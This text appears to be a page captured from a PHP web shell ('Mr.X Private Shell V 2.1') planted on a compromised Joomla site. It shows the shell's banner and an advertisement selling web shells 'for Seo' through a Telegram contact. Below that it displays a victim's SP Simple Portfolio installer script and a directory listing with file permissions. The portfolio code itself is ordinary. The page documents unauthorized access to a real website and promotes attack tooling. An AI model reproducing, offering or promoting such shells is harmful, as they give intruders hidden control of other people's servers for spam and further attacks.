__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* @package SP Simple Portfolio
* @subpackage mod_spsimpleportfolio
*
* @copyright Copyright (C) 2010 - 2022 JoomShaper. All rights reserved.
* @license GNU General Public License version 2 or later.
*/
defined('_JEXEC') or die('Restricted Access!');
use Joomla\CMS\Factory;
use Joomla\CMS\Installer\Installer;
class com_spsimpleportfolioInstallerScript
{
public function uninstall($parent)
{
$status = new stdClass;
$status->modules = array();
$manifest = $parent->getParent()->manifest;
// Uninstall Modules
$modules = $manifest->xpath('modules/module');
foreach ($modules as $module)
{
$name = (string)$module->attributes()->module;
$client = (string)$module->attributes()->client;
$db = Factory::getDBO();
$query = $db->getQuery(true);
$query->select($db->quoteName('extension_id'));
$query->from($db->quoteName('#__extensions'));
$query->where($db->quoteName('type') . ' = ' . $db->quote('module'));
$query->where($db->quoteName('element') . ' = ' . $db->quote($name));
$db->setQuery($query);
$extension_id = $db->loadResult();
if (!empty($extension_id))
{
$installer = new Installer;
$result = $installer->uninstall('module', $extension_id);
$status->modules[] = array('name' => $name, 'client' => $client, 'result' => $result);
}
}
}
public function postflight($type, $parent) {
if ($type == 'uninstall')
{
return true;
}
$db = Factory::getDbo();
$src = $parent->getParent()->getPath('source');
$manifest = $parent->getParent()->manifest;
// update database
$columns = $db->getTableColumns('#__spsimpleportfolio_items');
if (!isset($columns['client']))
{
try
{
$db = Factory::getDbo();
$queryStr = "ALTER TABLE `#__spsimpleportfolio_items` ADD `client` varchar(100) NOT NULL AFTER `description`";
$db->setQuery($queryStr);
$db->execute();
}
catch (Exception $e)
{
$parent->getParent()->abort($e->getMessage());
return false;
}
}
// Install Modules
$modules = $manifest->xpath('modules/module');
foreach ($modules as $module)
{
$name = (string)$module->attributes()->module;
$client = (string)$module->attributes()->client;
$path = $src . '/modules/' . $name;
$position = (isset($module->attributes()->position) && $module->attributes()->position) ? (string)$module->attributes()->position : '';
$ordering = (isset($module->attributes()->ordering) && $module->attributes()->ordering) ? (string)$module->attributes()->ordering : 0;
$installer = new Installer;
$result = $installer->install($path);
}
}
}| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| assets | Folder | 0775 |
|
|
| controllers | Folder | 0775 |
|
|
| helpers | Folder | 0775 |
|
|
| models | Folder | 0775 |
|
|
| sql | Folder | 0775 |
|
|
| tables | Folder | 0775 |
|
|
| views | Folder | 0775 |
|
|
| access.xml | File | 1.26 KB | 0664 |
|
| config.xml | File | 1.8 KB | 0664 |
|
| controller.php | File | 2.26 KB | 0664 |
|
| installer.script.php | File | 3.11 KB | 0664 |
|
| spsimpleportfolio.php | File | 738 B | 0664 |
|
| spsimpleportfolio.xml | File | 2.81 KB | 0664 |
|